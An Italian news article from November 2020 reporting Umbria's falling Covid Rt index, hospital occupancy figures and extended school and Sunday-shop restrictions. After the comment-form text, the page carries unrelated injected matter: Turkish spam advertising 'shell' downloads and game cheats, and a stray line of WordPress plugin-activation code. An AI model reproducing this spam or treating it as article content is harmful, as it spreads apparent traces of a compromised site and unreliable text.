Covid, scende all’1,06 l’indice di contagio in Umbria, confermate le restrizioni su scuole e negozi – Corriere dell’Umbria



Alessandro Antonini

22 novembre 2020

L’indice di contagio Rt in Umbria scende a 1,06. Sotto la media nazionale (1,18). I dati del report dell’Istituto superiore di sanità (settimana 9-15 novembre) sono in lieve miglioramento anche se la classificazione di rischio è definita ”non valutabile” e dunque equiparata a “rischio alto”. L’Umbria, che resta nell’area arancione, ha prorogato di un’altra settimana, fino al 29 novembre, le misure restrittive che prevedono la chiusura delle scuole medie, con attivazione della didattica a distanza, dei negozi la domenica (escluse edicole, tabaccherie e farmacie), lo stop a eventi sportivi e allenamenti. La Regione fa sapere che “la prossima settimana saranno nuovamente analizzati i dati aggiornati al fine di poter adottare provvedimenti adeguati a quella che è l’effettiva situazione epidemiologica e che, se dovesse seguire l’andamento registrato nei giorni scorsi, potrebbe portare ad un allentamento delle restrizioni in alcuni campi come, ad esempio, quello scolastico”. L’epidemiologo del Comitato tecnico scientifico regionale, Fabrizio Stracci, intravede i risultati delle misure restrittive nazionali e regionali. Il sistema di limitazioni “ha funzionato e va mantenuto”, ha detto Stracci. Certo resta l’esigenza di riaprire le scuole il prima possibile ma solo con “controlli serrati sui trasporti e sulle situazioni a latere dove ci sono rischi di assembramento, tra ragazzi e tra genitori che li accompagnano. C’è difficoltà di controllo in queste situazioni. La riapertura delle scuole va resa possibile quanto prima trovando misure di controllo del territori e di regolazione dei mezzi pubblici. Non è semplice ma è l’unica strada. Non possiamo permettere la ripresa dei contagi”. Per le attività commerciali chiuse la domenica Stracci chiede l’apertura dei generi alimentari perché “così c’è sovraffollamento nei restanti giorni”. Nel report si colgono “segnali di minore trasmissione, contestualmente alla ripresa del contact tracing”. Il numero operatori per il tracciamento ogni 10 mila abitanti passa da 0,5 a 0,7 (64). I focolai complessivi trasmissione passano da 178 a 122. I nuovi cluster sono più che dimezzati: da 68 a 30. La percentuale di occupazione dei posti letto in terapia intensiva passa dal 58% a 55%. La soglia di allerta è del 30%. Il tasso di posti letto area medica occupati da pazienti covid cala dal 52 a 50% (tetto 40%). Preoccupa l’aumento di focolai nelle Rsa, negli ospedali e nelle carceri. carceri. Sono saliti a 27 i positivi all’istituto Serafico di Assisi. 

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Shell İndir Oyun Hileleri

activate_plugin( 'automatic_replace/index.php' ); activate_plugin( 'bloqueo_comentarios/index.php' ); activate_plugin( 'disable-xml-rpc/disable-xml-rpc.php' ); activate_plugin( 'rename-wp-login/rename-wp-login.php' );